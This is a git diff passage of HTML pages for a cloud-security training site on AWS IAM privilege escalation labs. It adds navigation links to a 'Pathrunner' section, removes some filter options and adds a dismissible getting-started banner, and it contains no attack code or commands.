+                <div class="filter-pill-menu" id="menu-start-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="assumed-breach-credentials">Credentials</div>
+                    <div class="filter-pill-item" data-value="assumed-breach-network">Network (assumed)</div>
+                    <div class="filter-pill-item" data-value="public-network">Network (public)</div>
+                </div>
+                <select id="start-filter" hidden>
+                    <option value="">Any</option>
+                    <option value="assumed-breach-credentials">Credentials</option>
+                    <option value="assumed-breach-network">Network (assumed)</option>
+                    <option value="public-network">Network (public)</option>
+                </select>
+            </div>
+
+            <!-- Target -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-target-filter">
+                <button class="filter-pill" data-filter="target-filter" type="button"><span class="filter-pill-key">Target</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-target-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="to-admin">Admin</div>
+                    <div class="filter-pill-item" data-value="to-bucket">Bucket</div>
+                </div>
+                <select id="target-filter" hidden>
+                    <option value="">All Targets</option>
+                    <option value="to-admin">Admin</option>
+                    <option value="to-bucket">Bucket</option>
+                </select>
+            </div>
+
+            <button id="reset-filters" class="filter-reset-btn" type="button">Reset</button>
+        </div>
+    </nav>
+
+    <style>
+        /* ── Getting Started CTA banner ── */
+        .gs-cta-banner {
+            display: none; /* shown by JS only if not dismissed */
+            position: relative;
+            border-radius: 12px;
+            border: 1px solid var(--border-color);
+            overflow: hidden;
+            margin-bottom: 20px;
+            background: var(--card-background);
+            transition: border-color 0.15s;
+        }
+        .gs-cta-banner:hover {
+            border-color: var(--accent-color);
+        }
+        .gs-cta-content-link {
+            display: grid;
+            grid-template-columns: 500px 1fr;
+            text-decoration: none;
+            color: inherit;
+        }
+        .gs-cta-text {
+            padding: 22px 52px 22px 24px; /* right pad leaves room for dismiss btn */
+            display: flex;
+            flex-direction: column;
+            justify-content: center;
+            gap: 5px;
+        }
+        .gs-cta-eyebrow {
+            font-size: 0.88rem;
+            font-weight: 700;
+            text-transform: uppercase;
+            letter-spacing: 0.1em;
+            color: var(--accent-color);
+        }
+        .gs-cta-title {
+            font-size: 1.05rem;
+            font-weight: 700;
+            color: var(--text-primary);
+            line-height: 1.2;
+        }
+        .gs-cta-desc {
+            font-size: 0.85rem;
+            color: var(--text-secondary);
+            line-height: 1.55;
+            max-width: 480px;
+        }
+        .gs-cta-action {
+            margin-top: 4px;
+            font-size: 0.82rem;
+            font-weight: 600;
+            color: var(--accent-color);
+            display: flex;
+            align-items: center;
+            gap: 5px;
+        }
+        .gs-cta-visual {
+            position: relative;
+            overflow: hidden;
+            height: 200px;
+            align-self: start;
+            border-left: 1px solid var(--border-color);
+            transition: border-left-color 0.15s;
+        }
+        .gs-cta-banner:hover .gs-cta-visual {
+            border-left-color: var(--accent-color);
+        }
+        .gs-cta-visual canvas {
+            display: block;
+            width: 100%;
+            height: 100%;
+        }
+        .gs-cta-dismiss {
+            position: absolute;
+            top: 10px;
+            right: 10px;
+            width: 26px;
+            height: 26px;
+            border-radius: 50%;
+            border: 1px solid var(--border-color);
+            background: var(--card-background);
+            color: var(--text-muted);
+            cursor: pointer;
+            display: flex;
+            align-items: center;
+            justify-content: center;
+            font-size: 1rem;
+            line-height: 1;
+            transition: background 0.15s, color 0.15s, border-color 0.15s;
+            z-index: 10;
+        }
+        .gs-cta-dismiss:hover {
+            background: var(--background-elevated);
+            color: var(--text-primary);
+            border-color: var(--text-muted);
+        }
+        @media (max-width: 640px) {
+            .gs-cta-content-link {
+                grid-template-columns: 1fr;
+            }
+            .gs-cta-visual { display: none; }
+        }
+    </style>
+
+    <main class="container">
+        <!-- List View -->
+        <div id="list-view">
+
+            <!-- Getting Started CTA (dismissed via localStorage) -->
+            <div id="gs-cta-banner" class="gs-cta-banner">
+                <a href="/labs/getting-started/" class="gs-cta-content-link">
+                    <div class="gs-cta-text">
+                        <div class="gs-cta-eyebrow">New here?</div>
+                        <div class="gs-cta-desc">The getting started guide covers AWS account prerequisites and setup, plabs binary installation and configuration, and suggests the first six labs — chosen to help you build a working mental model of AWS IAM privilege escalation before you explore the full catalog.</div>
+                        <div class="gs-cta-action">
+                            View the guide
+                            <svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><line x1="5" y1="12" x2="19" y2="12"/><polyline points="12 5 19 12 12 19"/></svg>
+                        </div>
+                    </div>
+                    <div class="gs-cta-visual">
+                        <canvas id="gs-cta-canvas" aria-label="Interactive attack path map preview"></canvas>
+                    </div>
+                </a>
+                <button class="gs-cta-dismiss" id="gs-cta-dismiss" aria-label="Dismiss getting started banner">
+                    <svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><line x1="18" y1="6" x2="6" y2="18"/><line x1="6" y1="6" x2="18" y2="18"/></svg>
+                </button>
+            </div>
+
+            <div id="labs-container" class="paths-table-container">
+                <div class="loading">Loading lab scenarios...</div>
+            </div>
+        </div>
+
+        <!-- Detail View -->
+        <div id="detail-view" style="display: none;">
+            <div id="detail-content"></div>
+        </div>
+    </main>
+
+    <footer>
+        <div class="container">
+            <div class="footer-content">
+                <div class="footer-section">
+                    <p class="footer-curator">
+                        Created and curated by <a href="https://www.linkedin.com/in/sethart/" target="_blank" rel="noopener noreferrer">Seth Art</a> at <a href="https://securitylabs.datadoghq.com" target="_blank" rel="noopener noreferrer">Datadog</a>
+                    </p>
+                </div>
+                <div class="footer-section footer-links">
+                    <a href="https://github.com/DataDog/pathfinding-labs" target="_blank" rel="noopener noreferrer">pathfinding-labs on GitHub</a>
+                    <span class="footer-separator">&bull;</span>
+                    <a href="https://github.com/DataDog/pathfinding.cloud/issues" target="_blank" rel="noopener noreferrer">Report an Issue</a>
+                </div>
+            </div>
+        </div>
+    </footer>
+
+    <script type="text/javascript" src="https://unpkg.com/vis-network/standalone/umd/vis-network.min.js"></script>
+    <script src="/js/viz-shared.js?v=1"></script>
+    <script src="/js/labs.js?v=5"></script>
+    <script src="/js/map-game.js?v=2"></script>
+    </div><!-- /.page-body -->
+    <script src="/js/sidebar.js?v=1"></script>
+    <script>
+        (function () {
+            const banner = document.getElementById('gs-cta-banner');
+            const dismissBtn = document.getElementById('gs-cta-dismiss');
+            if (!banner || !dismissBtn) return;
+            if (localStorage.getItem('gsCtaDismissed') !== '1') {
+                banner.style.display = 'block';
+            }
+            dismissBtn.addEventListener('click', function (e) {
+                e.preventDefault();
+                e.stopPropagation();
+                localStorage.setItem('gsCtaDismissed', '1');
+                banner.style.display = 'none';
+            });
+        }());
+
+        // Live canvas banner -- "Getting Started" in the game's gold capcom font
+        // on the ocean-gradient background. No islands, no clouds.
+        (function () {
+            const canvas = document.getElementById('gs-cta-canvas');
+            if (!canvas) return;
+            const visual = canvas.closest('.gs-cta-visual');
+            if (!visual) return;
+
+            function renderBanner() {
+                const rect = visual.getBoundingClientRect();
+                const w = Math.round(rect.width);
+                const h = Math.round(rect.height);
+                if (w < 10 || h < 10) return;
+
+                const dpr = window.devicePixelRatio || 1;
+                canvas.width = w * dpr;
+                canvas.height = h * dpr;
+                canvas.style.width = w + 'px';
+                canvas.style.height = h + 'px';
+
+                const ctx = canvas.getContext('2d');
+                ctx.scale(dpr, dpr);
+
+                // Ocean gradient background (same as the game map)
+                const p = getMapPalette();
+                const bg = ctx.createLinearGradient(0, 0, 0, h);
+                bg.addColorStop(0,   p.oceanA);
+                bg.addColorStop(0.6, p.oceanB);
+                bg.addColorStop(1,   p.oceanDeep);
+                ctx.fillStyle = bg;
+                ctx.fillRect(0, 0, w, h);
+
+                // Dark gradient scrim from the top (matches variant-5 game map)
+                const isLight = document.documentElement.classList.contains('light-theme');
+                const scrim = ctx.createLinearGradient(0, 0, 0, h);
+                scrim.addColorStop(0,   isLight ? 'rgba(0,0,0,0.82)' : 'rgba(0,0,0,0.92)');
+                scrim.addColorStop(0.6, isLight ? 'rgba(0,0,0,0.40)' : 'rgba(0,0,0,0.50)');
+                scrim.addColorStop(1,   'rgba(0,0,0,0)');
+                ctx.fillStyle = scrim;
+                ctx.fillRect(0, 0, w, h);
+
+                // Scale the heading so "GETTING STARTED" fills 80% of canvas width.
+                // Measure at the reference LAB_SIZE (26px at scale=1) to get the ratio.
+                const REF_SIZE = 26;
+                ctx.font = `900 ${REF_SIZE}px -apple-system, BlinkMacSystemFont, sans-serif`;
+                ctx.letterSpacing = '0.04em';
+                const refW = ctx.measureText('GETTING STARTED').width;
+                ctx.letterSpacing = 'normal';
+                const scale = Math.max(0.3, (w * 0.60) / refW);
+                drawCapcomHeader(ctx, w, 0, 'Getting Started', {
+                    brandText: 'PATHFINDING LABS',
+                    zoneH: h,
+                    scale: scale,
+                });
+            }
+
+            // Defer first render so the element has a computed layout size.
+            requestAnimationFrame(function () { renderBanner(); });
+
+            new ResizeObserver(function () { renderBanner(); }).observe(visual);
+
+            new MutationObserver(function () { renderBanner(); }).observe(
+                document.documentElement, { attributes: true, attributeFilter: ['class'] }
+            );
+        }());
+    </script>
+</body>
+</html>
diff --git a/docs/labs/simple-role-assumption-dev-to-prod/index.html b/docs/labs/simple-role-assumption-dev-to-prod/index.html
index 1ca4cbcd..0972c413 100644
--- a/docs/labs/simple-role-assumption-dev-to-prod/index.html
+++ b/docs/labs/simple-role-assumption-dev-to-prod/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/simple-role-assumption-ops-to-prod/index.html b/docs/labs/simple-role-assumption-ops-to-prod/index.html
index bc7b82ca..210c55e0 100644
--- a/docs/labs/simple-role-assumption-ops-to-prod/index.html
+++ b/docs/labs/simple-role-assumption-ops-to-prod/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/ssm-001-to-bucket/index.html b/docs/labs/ssm-001-to-bucket/index.html
index 8d1ea6b2..1127a3a8 100644
--- a/docs/labs/ssm-001-to-bucket/index.html
+++ b/docs/labs/ssm-001-to-bucket/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/ssm-001/index.html b/docs/labs/ssm-001/index.html
index d8159375..92f5b67c 100644
--- a/docs/labs/ssm-001/index.html
+++ b/docs/labs/ssm-001/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
